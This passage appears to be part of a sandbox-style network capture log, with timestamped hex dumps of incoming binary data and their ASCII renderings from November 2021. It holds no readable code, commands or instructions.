ad fc 61 fd 93 3c eb 67 3c 8e f7 10 c6 ef 06 cd ff 00 75 7b 37 f1 57 46 1f 35 9c 60 a9 54 57 5d cf 12 ae 09 b5 29 40 f4 e6 
be 5f 32 4d de 5b ba fd ca cb bc bc 68 a3 ff 00 96 7b 2a 1b 39 9a ff 00 4a b4 bc b8 82 4b 2f b5 27 cf 1c 89 fd de b5 5d b6 
b4 9b 7c bf dd 7f 72 be c2 84 29 d5 
Data Ascii: >-^nKb}JHn"erOUvo-7*GbHZLw4mR[KQu,[<fsZ[#Hz^#7.a<g<u{7WF5`TW])@_2M[h{*9JK/']|r)

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:28:56 UTC 3250 IN Data Raw: 8a 6e 5c af b2 3d ac 3f 3f b2 f6 f2 56 b7 72 97 8e ec 7c 2b f0 c2 4d 36 f7 c0 2f 7d 7b 77 03 af fc 4e 2e a3 64 fd 
ef fb 1b b9 52 0d 76 b0 fc 0f b6 f0 34 13 df 78 e3 49 9f c5 1a 85 d4 2b aa 3d d6 95 a8 ab fe ea 55 dd e6 6d 5e 72 ad f7 b3 
5c 2d c7 c4 8d 3d bf b5 bc 3f 71 a6 79 17 6d a8 ef 87 ef 3b bc 4b f7 23 d9 fd e3 fd ea d5 f8 67 ad 78 3b c1 3f 10 ec 35 06 
b8 d7 3f b1 e5 49 a2 be 82 6b 56 f3 6d a5 65 db e5 9d df 7d 6b 3b 56 f6 3e cd 49 df a3 7a dd 7a e9 63 c6 75 dd 49 5a 36 
b1 e9 ff 00 1f 3c 1b a9 5f fc 21 f0 2a e9 be 2c d1 f5 7b 2d 36 ed 66 4d 37 ec b2 59 5c 5b 2c ca 9c 16 93 e5 94 0e ec 2b 99 
f8 81 e3 88 ac ef a3 b3 bc b8 d3 7c 4b 7a b7 11 d8 d8 fd 96 78 df ec 7b a3 1b d7 72 fd e8 cf f3 ae d3 e2 87 82 7c 51 e1 7f 
11 dd b7 83 fc 51 3d af c3 49 5f ed 12 
Data Ascii: n\=??Vr|+M6/}{wN.dRv4xI+=Um^r\-=?qym;K#gx;?5?IkVme}k;V>IzzcuIZ6<_!*,{-6fM7Y\[,+|Kzx{r|QQ=I_

2021-11-25 16:28:56 UTC 3266 IN Data Raw: c3 9a 14 de 28 f2 2d 61 d4 93 ed 76 f0 7d b9 65 97 ca 6e 9b 93 aa 7e 35 c4 b5 c7 d9 74 3f b0 b4 1f eb 66 fb 47 
99 27 f7 76 d7 4d 1a 37 f7 b9 ae ef d0 e0 93 9c 97 bd bf a9 d7 78 b3 52 81 7f b3 74 fb 3d 6b cf b7 8a c5 7c d8 ed 60 68 91 
19 be 6f 2f 77 fc b4 c5 72 ba 6e 8b a9 ea 53 f9 9a 4c 73 ea f2 ef de f0 40 9f 3f cb 59 eb 7c cd 1d dd ac 3e 43 f9 b0 f9 32 a4
9f fb 2f a3 57 a4 78 66 fa f3 43 b5 92 f9 7c cf b2 2d a4 70 f9 fb 36 6c 95 78 5c fa e7 fb d5 e8 b8 b5 1e 60 f8 63 ee ad 8e 8b 
43 d7 a0 f0 ae 9b e7 6a 9a 4c 70 25 d2 6c 9b cc 76 f9 15 97 0d 19 15 fa 33 ff 00 04 ff 00 f8 8d 6f ae 7e ca 30 6a 17 89 6b a
6 59 78 76 e2 ea c6 6b e8 11 57 ce 8a 2f 9b cd 6f 70 ad cd 7e 7e 69 eb 63 71 e1 fd 4a 1d 4b 49 be bd fb 44 3b ee 24 8d 1
5 e2 dd f7 b2 18 fd da ee 7f 67 ef 
Data Ascii: (-av}en~5t?fG'vM7xRt=k|`ho/wrnSLs@?Y|>C2/WxfC|-p6lx\`cCjLp%lv3o~0jkYxvkW/op~~icqJKID;$g

2021-11-25 16:28:56 UTC 3282 IN Data Raw: d7 45 e5 cb 75 04 96 fa 96 8b 05 ed bd c6 e8 9e 0f be 9f 5a f3 3f 88 9a 4e af e2 5f 86 be 17 8f 43 9e 38 22 b7 
b4 86 17 b5 b5 ba f2 b7 b6 dc ee 68 ff 00 8b fd ea f4 ad 16 4f b3 f8 7e 4b cd 43 cc 82 de 2b 75 49 a7 8f f8 1b 6e 1a be 32 
bb 52 bc fc da b7 5d 0f 6a 8d 49 da cd 59 1e 6f 75 e0 9f 04 f8 66 fa 4d ba f5 f5 ab ef 57 4b 17 b5 de 96 cd fe db 77 5a e6 
f5 48 ed bc 55 e2 6d 5b 52 5b fb 5d 96 09 1a 5b c7 3c 1f 25 cb 2d 73 7a a6 ac d7 17 d3 c9 35 fc f3 c5 13 c9 e4 f9 8f bf 7f 
cd c5 72 ad ad 4e b6 b1 ac 71 c6 92 ab b7 fb ff 00 35 7d 3d 0c 3c 9c 55 47 26 dd ba 98 49 c6 f6 68 f4 8f 1a 7c 58 b3 d5 ad 
67 b7 b5 fb 76 9d 71 2e d4 78 23 fb 89 eb b5 c7 3b 0f f7 6b c6 da f1 ac f5 28 2e 23 ff 00 5b 17 ce 9e 67 f7 aa 4b ed 41 ae 
24 dd fe af 77 cf 54 5a 66 69 24 66 f2 
Data Ascii: EuZ?N_C8"hO~KC+uIn2R]jIYoufMWKwZHUm[R[][<%-sz5rNq5}=<UG&Ih|Xgvq.x#;k(.#[gKA$wTZfi$f

2021-11-25 16:28:56 UTC 3290 IN Data Raw: 37 c4 2b a8 5a 5a d9 5d dc 5a 46 f6 9e 45 ab 22 27 ef 01 05 b9 eb b6 bf 35 c5 53 72 c5 be 5d 15 fe ff 00 3b 1e 
8d 2e 69 45 2e 6b 9c 8f 8e ac e2 f0 ce b1 ab 5b f8 56 c2 48 35 b8 a6 68 6e f5 2b 5b af bf 12 f6 0b db f3 af 2f d6 bc 41 3e 
bd 3c 92 6a 5e 65 d2 33 aa 3c 90 27 cf bb b6 6a c7 98 cd ae 6a 50 c9 24 90 45 e7 7f cb d3 ff 00 ae 67 fe e9 ac 9d 5b cd 
d0 63 92 df ee 3e fd ef e5 bf df ed fa 57 b3 47 0b ec a5 69 6a d6 cf af e6 75 4d b8 fa a2 c7 89 b5 8b 6d 4b 4a 92 de 49 24 
b5 b7 64 8d 12 0b af 9f 66 de d5 4e cf 49 d3 ef e0 dd ab 5d fd 8a 2b 59 be c9 e5 c1 f2 4b 33 6d dc ac 3d 73 5c 8e a1 35 e5 
fc fb 6e 24 8e 7f 37 ee 7c ff 00 dd ab da 5d e7 d8 ee a7 56 bb ff 00 48 89 16 6f 3e 3f 9f e6 4f b9 5e ac 30 fc b4 f9 62 ed e8 
72 f3 f3 7c 7a 1b 57 d7 5a 55 84 13 b6 
Data Ascii: 7+ZZ]ZFE"'5Sr];.iE.k[VH5hn+[/A><j^e3<'jjP$Eg[c>WGijuMmKJI$dfNI]+YK3m=s\5n$7|]VHo>?O^0br|zWZU

2021-11-25 16:28:56 UTC 3306 IN Data Raw: 93 46 bf de ff 00 bf 94 6d 56 8f 77 97 27 df d8 fe 5f f0 53 6e a3 66 93 77 99 1e c6 f9 fe fd 46 aa cb 06 d6 fb 9f 7e
a7 94 4b d4 b5 23 2c 53 fe ed 3f 74 c9 fe b2 4a 8e 49 b6 f9 7f df ff 00 a6 89 51 c7 70 ad 24 91 c9 22 6c 5f 93 fd fa 9a 1f 36 
e2 39 1b f7 7e 57 cb be 97 2d b4 66 37 7c ba 87 da 37 49 fd ff 00 fa 69 4d f3 3f 85 be 4f f8 05 3a 3f f5 9b 5a 07 4a 3c 96 6f 
9b ef a7 fc f3 8f ef fc cd 8a 9d 2f 63 a3 e1 49 c8 6e e8 bc c8 d9 a3 df 50 b4 6b e6 4e bf c6 af 53 5c 37 fa b5 6f 93 ee a7 ff 
00 5e a1 66 56 8e 48 d6 4d e8 ce af fb bf f6 6b 55 b5 d0 41 b9 ab a2 c6 e5 82 39 1b f8 db 6a 24 7f d6 89 26 f3 64 f9 be e7 
fd 33 aa f0 cc b7 1f 37 f0 2b ec fd e5 1f 76 49 16 39 24 77 fb 9e 5e ca 9e 5b e8 63 6b fa 8e 59 97 ee af fe 43 a1 97 cd f9 96
3f bb fe c6 c4 a6 c7 
Data Ascii: FmVw'_SnfwF~K#,S?tJIQp$"l_69~W-f7|7IiM?O:?ZJ<o/cInPkNS\7o^fVHMkUA9j$&d37+vI9$w^[ckYC?

2021-11-25 16:28:56 UTC 3322 IN Data Raw: 69 3e 7f f9 e9 be 9c d2 79 52 48 bf eb ff 00 f1 ca 72 c3 2b 48 ec b1 fc 8b f7 ff 00 dd a8 fc e5 fd e2 f9 7f 75 e8 f3 
17 33 93 ba 24 93 74 5f 2c 91 ff 00 b7 e6 53 7c cf b5 49 f2 ff 00 73 63 fc 9b 36 51 23 6d fb b2 6f 4a 72 ee 58 e4 db 26 cd 
b4 b9 ad b0 46 4a fa 6e 11 b4 1e 67 97 27 df 6d ce ff 00 ed d1 1c 2e b1 ee 58 fe ef df f9 fe e5 57 92 6d df bc 68 fe 76 f9 29 
d6 f3 7d 9e 7d cd 1e f4 f9 bf fa d4 e5 78 a6 db b1 aa bf cf cc 9a 6d 6a 0d 06 3f f4 5f 2e f6 f6 58 77 dc 47 22 2e c8 57 77 63 
56 af 3c 51 02 cf 1e a1 63 1e cb 89 53 7a 47 07 c9 b3 e5 e4 af a5 71 7e 20 d4 bf b4 bc 47 1c d6 f7 7f e8 f6 76 3f 67 78 37 
fc ef df 03 fe 05 5d 13 2d e4 50 69 ba 5c d0 58 a4 be 4b 5d f9 9f 2c 48 9b a3 f9 43 57 ce 62 e2 a7 36 ea 75 3d a8 53 a9 15 
19 45 ed a9 b1 0e ad 16 bd 
Data Ascii: i>yRHr+Hu3$t_,S|Isc6Q#moJrX&FJng'm.XWmhv)}}xmj?_.XwG".WwcV<QcSzGq~ Gv?gx7]-Pi\XK],HCWb6u
=SE

2021-11-25 16:28:56 UTC 3329 IN Data Raw: 17 4d d4 35 9f 13 40 ba 0f c9 2c 50 c7 63 0f 9e eb 6f f2 b7 fb df 2f 3f 35 1e 30 d6 b4 ff 00 0e 41 1d 8f dc bd b7 
b8 d9 71 1c ff 00 3e f6 5f e0 1b 7f 86 b9 65 15 ed 54 29 7c 5b 9a 6c d5 e5 74 66 e9 7a 94 5e 17 d5 7c cd 63 cf ba 89 1f c9 
9a 0b 5d bb fe 5f ee bf 4a ea af 3c 71 a5 6b 97 d0 47 1f db be cb b1 77 f9 96 bb 3f f2 27 b5 79 cd 8e 9f 3e a5 e6 49 fb bf 
b3 ef 67 87 cc 7f be dd 76 d7 51 a4 f8 26 e6 e3 c3 96 37 0b 76 8f 75 e7 37 9d a6 fd f4 4f 4e 6b b3 11 f5 7d 25 57 e2 45 46 
4d 3e 58 33 7a fb c5 0b e2 0b 5b b8 75 09 27 47 b5 fd cc 37 56 bf c6 bf c3 f3 0e bf 2d 72 ba 95 bd b7 83 7c 4d 7f a5 b4 ff 
00 da 3b 92 19 bc c4 f9 13 6b 7c c0 d7 a4 69 7a 7d 9e ad 07 fc 23 f3 7f c4 bf 4a 95 d9 2d ff 00 78 a9 f6 69 7f 89 bd eb 83 d
5 3c 27 a7 e9 2f 1d f5 9d fd f6 ae 
Data Ascii: M5@,Pco/?50Aq>_eT)|[ltfz^|c]_J<qkGw?'y>IgvQ&7vu7ONk}%WEFM>X3z[u'G7V-r|M;k|iz}#J-xi<'/

2021-11-25 16:28:56 UTC 3345 IN Data Raw: 8b 2e b4 db ed 2f 42 b4 b2 d3 e5 d5 a3 d3 af b5 89 11 5e 2d dc 31 56 4f bb b7 fb b4 e9 d3 92 d3 11 b1 ee e5 
18 ea b1 a9 6a 69 35 d9 9e e1 0f 87 fc 35 e1 ad 37 52 d6 3c 3b e1 3d 1e d6 ee de c5 62 d3 ae b6 46 e9 72 cc bc ab 75 f9 
d6 bc 6f c7 5a 7b 78 9b f6 69 f0 bd d4 d2 7d ab 58 4b e9 2c 7f d3 be 49 6c f7 ab 3b 82 7f bb bd 78 cd 7a 77 8e ad 7f e1 15 
d6 3c 43 e0 9d 37 42 9e 37 ba 9a 1b 8b 18 2c 51 52 29 b7 2e 1e 4d b9 da b9 35 e4 36 3a a6 a7 61 63 e2 8d 17 54 8e 44 
fb 3c d1 dc 79 7a 96 d4 f2 59 3e 55 55 ff 00 80 d5 c6 9c 29 36 96 ad 6a 7d d5 4c 7b 92 b4 61 a3 df fa b3 32 f4 fd 52 ce fd 
3e 21 5e 5d 5d a7 f6 ec 49 a7 58 db da cd 07 ee 9e 78 ad b6 9e 53 e5 fe f5 6d 78 77 e1 db 7c 50 8e 4d 41 67 b5 f0 f2 dc 
3d a4 29 05 d6 e9 5e d9 57 fd 74 9d 33 9a b9 e0 df 13 
Data Ascii: ./B^-1VOji557R<;=bFruoZ{xi}XK,Il;xzw<C7B7,QR).M56:acTD<yzY>UU)6j}L{a2R>!^]]IXxSmxw|PMAg=)^Wt3

2021-11-25 16:28:56 UTC 3361 IN Data Raw: 4f 31 a4 8f fd 88 e3 fe 0a 77 96 cb 1c 7b 7c cd b4 fc 86 9a bd a4 f4 1d 74 bb 6c 64 92 49 3f 74 df be fd df df a1 
b6 ff 00 14 9f 3e cf 9e a3 8e 15 d9 24 9f bb d8 ff 00 3b ff 00 7f 75 3a 39 3c d8 f7 37 cf b7 e4 fe e5 2f b3 a0 e2 ad ae e8 99 
59 5b cb 6f 33 63 af fc b4 93 e4 a9 21 f9 64 93 cb 8f e7 5d df eb 2a 1f 2f fb be 66 cf f9 e7 3f f7 7f 0a 99 a4 f2 a0 f3 3e e7 fc 
02 b9 e5 ee ed b9 6d c5 6a 89 a3 6d b2 6e 58 fe ef fc f3 ab 10 c3 ba 48 d9 7e 7f fa e9 fc 75 24 70 ac 53 c9 22 f9 6e 8a ec 
9f bb f9 3e f5 68 43 63 2f ee e3 68 fe 76 7f fc 75 ab cd c4 57 54 d5 9e e6 d4 a8 3a 92 e5 8e 88 c9 86 d5 9a 39 19 a3 a1 ad 
7f d5 ed f9 ff 00 eb 9f f0 35 77 56 3e 19 fb 67 97 1b 7c 9b 53 e4 f2 d3 ef d4 d7 de 0f 5b 78 fc c5 93 63 b7 cf f7 36 22 57 98 
f3 58 29 59 9e bc 72 5a 
Data Ascii: O1w{|tldI?t>$;u:9<7/Y[o3c!d]*/f?>mjmnXH~u$pS"n>hCc/hvuWT:95wV>g|S[xc6"WX)YrZ

2021-11-25 16:28:56 UTC 3369 IN Data Raw: fe b7 f1 13 c3 ba 2f 8e 3c 34 75 8f 10 cb a7 43 b3 51 d2 b5 28 15 5e 18 d7 e6 eb f7 a4 02 bb 30 94 e9 ba 9c b5 
55 a2 b4 bd da d7 a7 a1 d5 18 46 7a b4 75 fa 96 b1 e1 5d 5b 4d b4 d3 ef ac 34 dd 6d 16 15 fb 44 f6 33 b3 cb 0b 37 f0 e0 
8f 96 b1 6e 35 ef 09 fc 31 f0 fd a6 8b 34 1a ad d2 44 9e 72 5a dd 26 f8 a1 56 6f 99 b3 c7 cb 5c ff 00 80 fc 65 3e 91 e0 48 
35 85 8e 09 fc 51 a8 f9 92 a4 76 29 e5 4b 0e dc a4 6b 22 7f 17 f8 56 6d e7 c5 ad 73 5e 9e 38 f5 8b 0f 3e dd 2d da 14 8e 
3d cf bd 5f ef a6 ff 00 e1 1e 83 d6 ba 7e a7 25 27 08 eb 15 ba e6 b5 fd 15 8c 65 1b a5 0e 9b 9d 86 a5 a5 f8 4d 7c 47 ac f8 
8b ed d7 de 2b b2 f2 56 fa 1f 32 c9 51 12 5f ba b0 93 f7 b7 0e a0 8a cb f1 76 ad a6 f8 b6 c6 d2 fe d6 ee 7b 2d 42 d6 df 63 
bd d4 9b e5 9b 73 7c 91 f7 6d b5 72 4d de 2a 
Data Ascii: /<4uCQ(^0UFzu][M4mD37n514DrZ&Vo\e>H5Qv)Kk"Vms^8>-=_~%'eM|G+V2Q_v{-Bcs|mrM*

Timestamp
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2021-11-25 16:28:56 UTC 3385 IN Data Raw: 7b 7f 05 ea d3 f8 af 44 d2 ef ad 12 ee 78 d3 67 9d 75 2d ce d8 d5 50 f4 cb 74 a9 3e 2b 5e 59 da f8 73 fb 06 6f 
32 d7 c5 76 be 3b b7 74 d3 af bf 75 2a 45 fd e6 43 fc 39 ae da 69 34 af 0e 78 bb 4d f1 72 da 7d 8a ee cb 54 b7 d5 ad e7 
93 73 a4 cc 98 fd db a7 74 e3 8a f4 2f 8a 5f 10 34 6f 8e b0 db cd ac 78 5f ed 57 1f f0 9a e9 57 df 67 b5 83 e7 4d 32 25 ff 00
49 dc dd d5 96 ba f0 93 55 b9 2a 74 8b 77 bb d7 5f cc d6 55 d2 4e fa 5f af 43 c8 fc 79 a1 df 5e 6b 1f e8 f6 96 af 2c ba 8c 8f 
2f f7 11 7f 89 a2 fa d6 4f 8a 21 6d 4b e3 17 c6 35 b1 8e 38 3e cf e0 d8 6d 36 48 fb 3e 6d b0 31 19 f5 c5 7b 5f c4 9b 5f 87 
96 1f 11 b4 d5 f0 a5 e6 b9 e0 ad 1d 62 9a ee e2 47 8d 75 0b 7f 9a 41 b1 05 ba 9d e9 96 ed bb 81 5e 3d 67 e2 8d 23 43 f8 
85 e3 7d 42 f2 fe 3f 12 e9 fe 20 9a ed 
Data Ascii: {Dxgu-Pt>+^Yso2v;tu*EC9i4xMr}Tst/_4ox_WWgM2%IU*tw_UN_Cy^k,/O!mK58>m6H>m1{__bGuA^=g#C}B? 

2021-11-25 16:28:56 UTC 3401 IN Data Raw: 2c bd 21 f9 ab 43 50 f0 ff 00 8a be 1d dd 49 6e da d4 1a dd ed bf fc 78 c9 06 d7 bb dc 8d b5 bf de 35 97 71 a4 
f8 b3 c2 57 da 94 9e 26 d6 a7 b1 f1 04 be 65 c5 dd d4 f6 bb 25 4d 9f 73 7f 4d b8 f6 fe f5 4c a3 29 45 c7 9d 59 f6 4f f2 31 ad
0b a7 78 eb b9 36 a9 e3 e5 6d 63 56 b3 be 82 ea f6 e2 f2 d3 c9 49 fc 86 4f b1 32 fd ee bc 37 bd 4d 6f 0e 9f 7f 05 dd ac d1 
ef f9 19 d2 38 1f 66 f6 fe 1f f8 0d 60 ea 5f 13 35 3b fd 2b ce 6d 4b f8 f6 4d 24 7b 5d e6 56 eb 8f ef d6 7f 87 7c 45 67 a6 f8 
82 ef 52 d4 2f e3 b2 4b 5b 49 12 14 d4 9d a2 77 57 ff 00 96 7c 7f 17 a5 5d 3c 34 95 37 68 da de af 6f 91 c1 42 9a 69 f3 3d 
3d 06 ea de 28 6d 62 ea d3 4f 9a ee 37 d3 2d 5d 91 e4 93 ee 23 7f 79 da ad 78 67 c5 16 7a b4 90 5e 69 32 6f b7 b2 dd f6 
8f 3f e7 47 dd f2 a0 ff 00 be be 6a 
Data Ascii: ,!CPInx5qW&e%MsML)EYO1x6mcVIO27Mo8f`_5;+mKM${]V|EgR/K[IwW|]<47hoBi==(mbO7-]#yxgz^i2o?Gj

2021-11-25 16:28:56 UTC 3409 IN Data Raw: dc 5d 69 bf 62 b5 59 99 21 7b a9 fe e2 aa f7 f7 af 40 f0 0f 82 f4 5f 04 49 f6 ad 3e 09 e0 d5 7c e5 7f 3e 79 f7 ba 
4a be 95 ad 7d 1f db f5 8f 32 e2 48 fe db 2f fc 7b c7 1a 6f 7f 37 77 de c5 75 e2 33 25 56 7c d4 56 dd 76 7f 71 85 2a 3c 9a 
b9 6e 78 36 a5 f0 86 78 a7 ba f2 e7 de 92 cd b2 df 55 ba fd d5 bf 94 cb fc 4a 3f 8b 35 d9 db f8 eb e2 37 87 f4 d8 f4 38 fc fd 
5e d1 62 8e 1b 4f 91 b6 5c c0 bc 37 91 fe d7 fb 26 bd da cf 47 69 67 82 4b 78 e3 79 55 db ce 8e eb 72 6f f9 76 9f 97 fb c3 
ef 0a d4 b1 f0 ab 68 d1 ee 8e 79 37 af cf e6 46 ff 00 de ae 39 67 15 5a b5 68 29 7a 9d b0 c0 4a 5e fa 7c b7 3c 2f c3 ba 0f c
4 1f 89 11 dd db f8 93 cb d2 f4 75 f3 2d d2 0b e4 d9 2a 7f 71 84 5e d5 0f c4 af 86 77 96 7a 1c 1a 0e 9b 3c fa dd c6 f8 66 86
39 3e 4f 3a 55 5f 9a be 84 6f 
Data Ascii: ]ibY!{@_I>|>yJ}2H/{o7wu3%V|Vvq*<nx6xUJ?578^bO\7&GigKxyUrovhy7F9gZh)zJ^|</u-*q^wz<f9>O:U_o

2021-11-25 16:28:56 UTC 3425 IN Data Raw: 3c db a8 ff 00 d5 fc 8b b7 f8 ea 46 db 6f e6 2b 7d f6 4a 1b 5d 4a e6 b2 d0 74 37 0a d2 49 fe ca 7f ac a7 35 d6 
e8 e3 56 fb 95 1b 6d f2 23 6f 2d 37 ec f9 e9 bb bf 77 1a f9 7b ff 00 db a9 e5 84 ba 12 a3 77 71 ab 1b 34 9b 56 0a af fe b6 
49 1b cb f9 ff 00 8e ad 2f 99 e6 7f e3 f4 d6 5f f4 79 19 7e 4f fa e7 f3 d7 3d 4a 7d 8d 94 9d ac c8 e3 8d a2 8e 4d b1 fd d4 f9 
e3 df 46 a1 32 dc 49 e4 c3 26 c4 67 54 f2 3f dd 5e b9 a1 95 a5 8f e5 f2 d1 d7 f8 f6 7c f4 7d df fd 9f cc ae 3a f4 54 93 ee 75 
42 bc a2 ee 98 d9 34 9b 68 bc b6 59 fc 88 99 19 1f cb 4f bf bb b3 57 9d ea 16 f2 f8 76 79 1b cb fb 2a 32 32 24 91 be fd eb 
5d c5 d3 4a d1 ed 8f e4 ff 00 a6 72 57 3b ae 5b ac f2 46 ad 1f ee 97 fe 79 bf eb 5e 2d 18 4e 8c ec dd d1 f5 78 7c 67 b6 82 
8b 30 fc 3f 36 a7 f6 ab 76 d1 e3 
Data Ascii: <Fo+}J]Jt7I5Vm#o-7w{wq4VI/_y~O=J}MF2I&gT?^|}:TuB4hYOWvy*22$]JrW;[Fy^-Nx|g0?6v

2021-11-25 16:28:56 UTC 3441 IN Data Raw: d1 aa aa 49 50 95 f6 51 f4 4f 5d 3b 5f 43 18 db 9e eb 4f 23 c8 e6 d5 35 7b 5d 72 3d 0e 4f f8 9b e8 fa 6c cc f6 90
7d 95 be ce fb e3 c7 cf de bb 4f 87 31 ea 1a 4e 97 71 0d e5 ff 00 ce df 3b c7 bd bc af 95 bf d5 aa fb d7 a9 69 7a 1d d3 3b 
c9 0d fc 0f 71 75 ba 6b e8 fc 85 47 76 45 f9 77 7a fe 15 97 e1 9b 59 6e ae be d5 71 fb fb d5 fd f5 8d 8c 1b 51 dd ba b6 f6 
3e f5 75 33 05 56 8f 2c 92 4b af 9f e0 6d 3f 65 4e 37 5f 71 bd aa 5f 78 97 43 be 8e fb 54 fb 2e 9d a7 de 7f aa d2 ad 53 ec 
f7 0f b5 7e eb 0f ee d5 3f 0f f8 2f c2 be 2f 93 5a be f1 56 8b a7 59 24 4f 0f 95 1d d2 7f 13 2f 2d e6 77 e7 aa d5 ab 8f 0b c1 
e3 7b ed 35 b5 2f 16 47 a2 6a 7a 6b ef bb 8e d7 fd 22 28 56 6f e1 cf f7 b3 5c 9e b1 a6 fc 44 f0 6f 8a be cf 0e 93 a6 cf a5 
2b b6 f8 f5 2d 46 3b 8b 7d 4d 7f 
Data Ascii: IPQO];_CO#5{]r=Ol}O1Nq;iz;qukGvEwzYnqQ>u3V,Km?eN7_q_xCT.S~?//ZVY$O/-w{5/Gjzk"(Vo\Do+-F;}M

2021-11-25 16:28:56 UTC 3449 IN Data Raw: a4 dd 6b 97 5a 96 ad 36 a1 e1 ed 2b c3 da 3a df 2a 3d 8c 93 ae fd 3d 92 3c 7f bc 6b a4 b3 f1 85 e7 9f 69 ab 69 
f1 d8 dd 3d c3 ef b7 9f 52 81 91 1d 9b ef 11 f4 f6 af 46 f0 3f ec cf 2c 72 47 af 78 b2 ee c6 77 d4 6e 1a e3 ec b0 3e fb 79 b7 
7f cb 55 5f bc 7f 95 5e 17 92 8c 1d 35 0f 96 ad df f2 5f 33 d3 96 22 55 a2 9b 7a 23 cf fc 3f 27 8a be 25 f8 d2 7f f8 42 ed 23 
d5 f5 59 6d 3e ce 9a e4 ff 00 3d be d5 6f 9b cd 3f 77 8e d5 e9 9e 1b fd 9c f4 8d 2e eb ed 5f 10 2e e0 f1 cf 88 d6 6f dc c7 1a 
34 56 90 ee f5 8b f8 eb dc 34 df 0e fd 82 3f b2 e9 f0 47 65 69 b1 53 f7 7b 51 df fe f9 00 54 d1 dd 69 5a 0f 99 1c 71 c9 3c 
ac ff 00 3d d7 fb 5e e6 bd 48 e1 e7 25 cd 36 a1 1e cb 7f bf 7f b8 c2 a5 4f 3b 99 76 36 6d 61 1c 7e 77 91 65 a7 c4 9e 54 36 
30 22 a2 6d f6 41 e9 5c ec 3e 
Data Ascii: kZ6+:*==<kii=RF?,rGxwn>yU_^5_3"Uz#?'%B#Ym>=o?w._.o4V4?GeiS{QTiZq<=^H%6O;v6ma~weT60"mA\>

2021-11-25 16:28:56 UTC 3465 IN Data Raw: 6d 6b 67 83 f4 bb 78 52 de d5 13 64 a9 bd 88 54 6f ef fc cb 5f 3e fd 9f 50 d0 f5 28 2e ad 67 9e cb 52 81 d6 e2 
29 e0 dc 8e 9f 8d 7d 76 57 3a 58 9a 6d e2 25 76 dd fd 3c be 47 4f 37 2c 92 91 f6 47 8f 34 db eb cd 62 c2 6f 0a f8 b3 f7 56 
f6 eb be fb c3 33 b4 5f 69 89 bf e7 bf 75 63 dc 54 de 2e b7 83 46 d3 74 5b 1d 5a fe eb c5 1a ad ed a4 8f 36 9b 63 07 da 2f 
a1 f9 b7 7c c7 ef 2e 45 79 37 c3 7f 8e 7a 1e 93 a3 ea d7 5e 29 b4 d6 3f e1 2b b5 da e9 fd 96 8a d1 6a 0a 5b fe 5a ff 00 73 
dc d7 57 e1 df 08 c9 e3 4d 4a ff 00 50 6b bd 57 e1 ee ab 7e eb 33 e9 d0 69 de 6b a2 ba ee 8e 41 72 cd ca ec eb c5 6d 8f 
a9 1a 14 7d 9d 59 7b 8b 6f e9 2b 9d b7 84 e3 ee c7 53 cf 75 49 3c 2f e3 2f 10 4f 1e a1 a9 7f c2 30 d7 08 a9 69 7c f6 ac ef 
bb 85 48 5b 1f a9 ae 06 ce d6 0f 0d f8 9a 
Data Ascii: mkgxRdTo_>P(.gR)}vW:Xm%v<GO7,G4boV3_iucT.Ft[Z6c/|.Ey7z^)?+j[ZsWMJPkW~3ikArm}Y{o+SuI<//O0i|H[

2021-11-25 16:28:56 UTC 3481 IN Data Raw: fb fc 95 fe 2f f7 eb 8d ba f2 b5 cb 58 e6 5d 4f 4d d3 bc 39 60 92 3d bc 72 26 cb db cd cd cc 08 be ed 5a d2 8f 37
d9 e5 6b ad 9f e0 97 5d 0a 96 a9 5b 74 5e 9b 56 f0 e5 c5 f4 fa 1d bc 9f da f6 56 fb b6 6a ba 6a 33 a4 d2 b7 dd 57 15 56 e2 
4d 56 df c3 f3 fd 9e 08 d3 4f ba 46 df 75 b2 4f 37 ef 7c ea 77 76 ae 92 3b 7d 7b fe 11 5b 18 f4 3f 87 57 da 3e 9f 3a 33 cd 69
63 f2 5c 6e 5f ba 65 df cd 79 bf 8d 2e 27 b8 f2 2e 16 77 d2 d2 54 58 ae e3 82 66 95 21 db d4 3a b7 dd 6f a5 76 d2 4a ac 
b9 63 6d 1f 56 9e be 76 d9 98 54 76 d5 bb 1d b7 c3 1f 14 69 1a f7 87 6e fc 33 ab 6b 52 59 5b dd 4b f6 4f 23 c8 de 89 2a fd 
d6 2d f7 ab ca ad e5 9e 2d 62 ef 41 be b0 44 8a c2 e3 ec 93 5d 4f 74 bb de 7d dd b1 f7 85 54 d3 ef a2 b0 f1 04 91 c9 61 fd 
a3 15 d2 2e c8 e4 9d 62 47 db d7 18 
Data Ascii: /X]OM9`=r&Z7k][t^VVjj3WVMVOFuO7|wv;}{[?W>:3ic\n_ey.'.wTXf!:ovJcmVvTvin3kRY[KO#*--bAD]Ot}Ta.bG

2021-11-25 16:28:56 UTC 3488 IN Data Raw: 1f 68 de aa dc 7f ad e5 6b a7 d3 7c 45 14 56 b2 49 75 6f 75 e5 79 4a 9e 67 9e db e6 6d d8 f9 49 a6 ae 8b 2e 
a3 ae 58 dc 36 9b 3c 1e 1c f3 be cf 7d aa c8 fb 1d 19 ff 00 87 e5 e7 ee fc de f5 9d 1b d1 6d 6d a6 fa 2f 96 a3 7e f1 e6 fe 20 
5b ef 0b df 4f e7 41 26 9d 13 26 ff 00 32 07 f9 36 b7 d2 b9 5d 0e fa 4b c9 20 bc 5b b8 20 b7 b7 b8 67 ff 00 89 96 e4 b4 f9 
57 ee e5 7d 45 7d 25 71 e2 68 3c 39 0f f6 7e 9f 1d 8c f3 45 13 7d a3 cf b5 fb 47 9c ab c2 0c 37 1f 76 bc 0f e2 06 93 e1 c8 
b5 f8 f4 bd 2e 4b ad 3a dd 93 ed 2f 1c 68 ce 8e cd df cb 6f b9 5e ee 5d 8a f6 de e4 e0 d5 fa ef a7 9a e9 f8 84 e9 b8 c5 28 
bd 4c 5d 2e e3 7c 93 cd 67 1f 9e ed e6 3f 9f 1e e4 48 57 77 af f7 2b 6f 52 f2 2d 74 7b 1b 3d 41 3f 7b 2b fd a1 ae a1 f9 3f 
78 dd 5a b0 bc 0f 71 a7 d9 5a ea 56 ba 
Data Ascii: hk|EVIuouyJgmI.X6<}mm/~ [OA&&26]K [ gW}E}%qh<9~E}G7v.K:/ho^](L].|g?HWw+oR-t{=A?{+?xZqZV

2021-11-25 16:28:56 UTC 3504 IN Data Raw: c2 8b f1 0c b6 32 6b 17 9a 6c 10 68 8d 0f da 21 9e 3b a8 9f 7f e1 9c d6 a6 9f a7 f8 66 cf fb 16 df 4f 9e 4f 37 54 
